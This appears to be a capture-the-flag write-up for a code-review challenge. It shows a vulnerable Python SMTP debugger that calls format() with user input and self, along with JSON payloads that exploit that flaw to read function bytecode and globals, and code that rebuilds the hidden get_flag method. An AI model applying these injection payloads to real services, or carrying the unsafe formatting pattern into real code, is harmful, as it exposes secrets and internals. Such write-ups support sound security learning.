500 points
CodeReview category
Before you’re trying to use our new SMTP Application,
We made you SMTP Debugger for you to fool around with our SDK.
The Format is:
Connect: nc smtpdebugger.appsecil.ctf.today 2525
Send input like:
{"from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "subject", "message": "message"}
We even attached the source for you to review…
Try to get the flag from our server!
By Tomer Zait
SMTPDebugger.py
import re
import sys
import json
import smtpd
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
BANNER = """
`/hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmy/`
+NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+
oMMMMMMMMMdoooooooooooooooooooooooooooooooooooooooooooooooooooooooooodMMMMMMMMM+
NMMMMMMMMMMd: :dMMMMMMMMMMm
MMMMM/+mMMMMMd: :dMMMMMm+/MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+mMMMMMd: :dMMMMMm+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+ :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMm+` :MMMMM
MMMMM: `+NMMMMMd: :dMMMMMN+` :MMMMM
MMMMM: `+mMMMMMd: :dMMMMMm+` :MMMMM
MMMMM: :NMMMMMMd: :dMMMMMMN: :MMMMM
MMMMM: :hMMMMMMMMMMd: :dMMMMMMMMMMh: :MMMMM
MMMMM: :hMMMMMN++NMMMMMd: :dMMMMMN++NMMMMMh: :MMMMM
MMMMM: -hMMMMMNo` `+NMMMMMd: :dMMMMMN+` `oNMMMMMh- :MMMMM
MMMMM: -hMMMMMNo` `+NMMMMMmmMMMMMN+ `oNMMMMMh- :MMMMM
MMMMM: :hMMMMMNo` `+NMMMMMMMMm+` `oNMMMMMh: :MMMMM
MMMMM: :hMMMMMNo` `/ydmmdy/` `oNMMMMMh: :MMMMM
MMMMM: -hMMMMMN+` `+NMMMMMh- :MMMMM
MMMMM: :hMMMMMNo` `oNMMMMMh: :MMMMM
NMMMMshMMMMMNo` `oNMMMMMhsMMMMN
+MMMMMMMMMMNsoooooooooooooooooooooooooooooooooooooooooooooooooooooosNMMMMMMMMMM+
+NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+
`+hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmy/`
"""
class SMTP(smtplib.SMTP):
class fake_socket(object):
def sendall(self, *args):
pass
def _get_socket(self, host, port, timeout):
return self.fake_socket()
def getreply(self):
return 220, ""
def sendmail(self, *args):
return args
class SMTPDebugger(object):
_print_message_content = smtpd.DebuggingServer._print_message_content
process_message = smtpd.DebuggingServer.process_message
def __init__(self, from_addr, to_addrs, subject, message, **extra):
self.from_addr = self.validate_email(from_addr)
self.to_addrs = ";".join(map(self.validate_email, to_addrs.split(";")))
self.subject = subject
self.message = message
self.extra = extra
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
return False
@staticmethod
def get_flag():
return "AppSec-IL{This_Is_Not_The_Flag!}"
@staticmethod
def validate_email(email):
email = email.strip()
res = re.match(
r'^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@'
r'((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$',
email
)
if not res:
raise ValueError("'{email}' is bad email address!".format(email=email))
return email
def send_message(self):
smtp = SMTP(host='localhost', port=1025)
msg = MIMEMultipart()
msg['From'] = self.from_addr
msg['To'] = self.to_addrs
msg['Subject'] = self.subject.format(**self.extra)
msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))
from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)
@classmethod
def run(cls):
try:
print(BANNER)
kwargs = json.loads(input("Enter Email JSON: "))
print()
with cls(**kwargs) as smtp:
smtp.send_message()
except Exception as ex:
print("\n[ERROR] {exception}".format(exception=ex), file=sys.stderr)
return 1
return 0
if __name__ == "__main__":
sys.exit(SMTPDebugger.run())
Solution
The application is vulnerable for exploitation thru python string formatting because of two reasons:
message
attribute from email JSON is used as a subject of formatting,self
is passed asemail
argument to format.
We can send below JSON to confirm the vulnerability:
{"from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "subject", "message": "{email.get_flag}"}
I’ve checked the get_flag.__code__.co_consts
the same way and it looks like there’s more logic than just return
string in the method. Ok, so how to get the flag? The idea, which came to my mind was to export the bytecode of
the get_flag
method. I have found this great article,
which explain the topic and convinced me that path I’ve choosen is correct.
Ok, so one by one (to be honest, I could do this in one request) I’ve extracted:
email.get_flag.__code__.co_argcount
email.get_flag.__code__.co_kwonlyargcount
email.get_flag.__code__.co_nlocals
email.get_flag.__code__.co_stacksize
email.get_flag.__code__.co_flags
email.get_flag.__code__.co_code
email.get_flag.__code__.co_consts
email.get_flag.__code__.co_names
email.get_flag.__code__.co_varnames
email.get_flag.__code__.co_filename
email.get_flag.__code__.co_name
email.get_flag.__code__.co_firstlineno
email.get_flag.__code__.co_lnotab
Ok, what next?
I’ve tried to create method from the extracted parts (with use of types
python library):
my_flag__code__ = types.CodeType(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code,
co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab)
def my_flag():
return ''
my_flag.__code__ = my_flag__code__
my_flag()
And I get below error:
Traceback (most recent call last):
File "/home/luc/.config/JetBrains/PyCharm2020.2/scratches/scratch_6.py", line 24, in <module>
my_flag()
File "/app/index.py", line 103, in get_flag
NameError: name 'SMTPDebugger' is not defined
Process finished with exit code 1
Ok, right. It’s a method which need its class.
So, eventually I’ve prepared below code:
import re
import sys
import json
import smtpd
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import types
co_code = b'd\x01d\x00l\x00}\x00d\x02}\x01d\x03}\x02d\x04}\x03d\x02}\x04y\x08t\x01\x01\x00W\x00nF\x04\x00t\x02k\nrf\x01\x00}\x05\x01\x00z(|\x04t\x03|\x05\x83\x01\xa0\x04t\x05d\x05\x83\x01\xa1\x01d\x06\x19\x007\x00}\x04|\x04\x9b\x00d\x07\x9d\x02}\x04W\x00d\x00d\x00}\x05~\x05X\x00Y\x00n\x02X\x00\x90\x01xJt\x06t\x03t\x07\x83\x00\x83\x01\x83\x01D\x00\x90\x01]6\\\x02}\x06}\x07|\x01|\x077\x00}\x01d\x08}\x07d\t}\x08d\n}\td\x0bd\x0cd\rg\x03}\nd\x0e}\x0bd\x0f}\x0cd\x10}\r|\x06sz|\x01t\x08t\x03\x83\x01d\x11\x19\x00\xa0\t\xa1\x007\x00}\x01|\x01t\nj\x0bj\x0cd\x01\x19\x007\x00}\x01d\x12}\x0ed\x13}\x0f|\x01|\x0e|\x0f\x17\x00|\x07\x17\x007\x00}\x01|\x01|\t7\x00}\x01|\x01t\nj\x0bj\x0cd\x14\x19\x007\x00}\x01|\x01t\rt\x0et\x0fj\x10j\x11\x83\x01\xa0\x12\xa1\x00\x83\x01d\x15\x19\x00\xa0\x13d\x16\xa1\x01\xa0\t\xa1\x007\x00}\x01d\x16}\x10|\x01|\x107\x00}\x01|\x01t\nj\x0c\xa0\t\xa1\x007\x00}\x01|\x01t\x0cd\x06\x19\x007\x00}\x01|\x01|\x00\xa0\x14t\x15d!|\nd"\x95\x03\x83\x01d\x00d\x00d\x14\x85\x03\x19\x00\xa1\x01\xa0\x16\xa1\x007\x00}\x01|\x01t\x0cd\x1b\x19\x007\x00}\x01|\x01t\x0fj\x17j\x0c\xa0\x04|\x10\xa1\x01d\x14\x19\x00\xa0\x18d\x1cd\x1d\xa1\x027\x00}\x01|\x01\xa0\x18d\x1et\x03d\x01\x83\x01\xa1\x02}\x01qzW\x00|\x04|\x01\xa0\x18t\x05d\x1f\x83\x01d \xa1\x02\x17\x00S\x00'
co_argcount = 0
co_kwonlyargcount = 0
co_nlocals = 17
co_stacksize = 10
co_flags = 67
co_consts = (None, 0, '', 'realgam3', 'Tomer Zait', 39, 1, '-IL', 'u', 'b', 's', 78, 49, 70, 'c', 'r', 'k', 41, 'p', 'l', -1, 8, '_', 119, 71, 88, 82, -2, 'f', 'F', 'o', 101, '3', (49, 119, 71), (88, 82))
co_names = ('base64', 'AppSec', 'Exception', 'str', 'split', 'chr', 'enumerate', 'dict', 'dir', 'title', 'object', '__init__', '__name__', 'list', 'vars', 'SMTPDebugger', 'send_message', '__class__', 'keys', 'strip', 'b64decode', 'bytearray', 'decode', 'get_flag', 'replace')
co_varnames = ('base64', 'flag', 'author', 'realgam3', 'start', 'ex', 'i', 'c', 'h', 'r', 'l', 't', 'e', 'z', 'b', 'a', '_')
co_filename = '/app/index.py'
co_name = 'get_flag'
co_firstlineno = 71
co_lnotab = b'\x00\x02\x08\x02\x04\x01\x04\x01\x04\x01\x04\x01\x02\x01\x08\x01\x10\x01\x1a\x01\x1c\x02\x1c\x01\x08\x01\x04\x01\x04\x01\x04\x01\n\x01\x04\x01\x04\x01\x04\x02\x04\x01\x14\x01\x10\x01\x04\x01\x04\x01\x10\x01\x08\x01\x10\x01&\x01\x04\x01\x08\x01\x0e\x01\x0c\x01&\x01\x0c\x01\x1e\x01\x14\x01'
my_flag__code__ = types.CodeType(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab)
def my_flag():
return ''
my_flag.__code__ = my_flag__code__
class SMTPDebugger(object):
_print_message_content = smtpd.DebuggingServer._print_message_content
process_message = smtpd.DebuggingServer.process_message
def __init__(self, from_addr, to_addrs, subject, message, **extra):
self.from_addr = self.validate_email(from_addr)
self.to_addrs = ";".join(map(self.validate_email, to_addrs.split(";")))
self.subject = subject
self.message = message
self.extra = extra
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
return False
@staticmethod
def get_flag():
return "AppSec-IL{This_Is_Not_The_Flag!}"
@staticmethod
def validate_email(email):
email = email.strip()
res = re.match(
r'^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@'
r'((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$',
email
)
if not res:
raise ValueError("'{email}' is bad email address!".format(email=email))
return email
def send_message(self):
smtp = SMTP(host='localhost', port=1025)
msg = MIMEMultipart()
msg['From'] = self.from_addr
msg['To'] = self.to_addrs
msg['Subject'] = self.subject.format(**self.extra)
msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))
from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)
@classmethod
def run(cls):
try:
print(BANNER)
kwargs = json.loads(input("Enter Email JSON: "))
print()
with cls(**kwargs) as smtp:
smtp.send_message()
except Exception as ex:
print("\n[ERROR] {exception}".format(exception=ex), file=sys.stderr)
return 1
return 0
SMTPDebugger.get_flag.__code__ = my_flag__code__
print(SMTPDebugger.get_flag())
And it gave me below flag:
AppSec-IL{F0rmat_plus_C0d3_Obj3ct_Equ4l5_Flag}
p.s. Above solution may not work properly if you are using different python version than the one running the app.
You may check it with this payload: {"from_addr": "[email protected]", "to_addrs": "[email protected]", "subject":
"subject", "message": "{email.get_flag.__globals__[sys].version}"}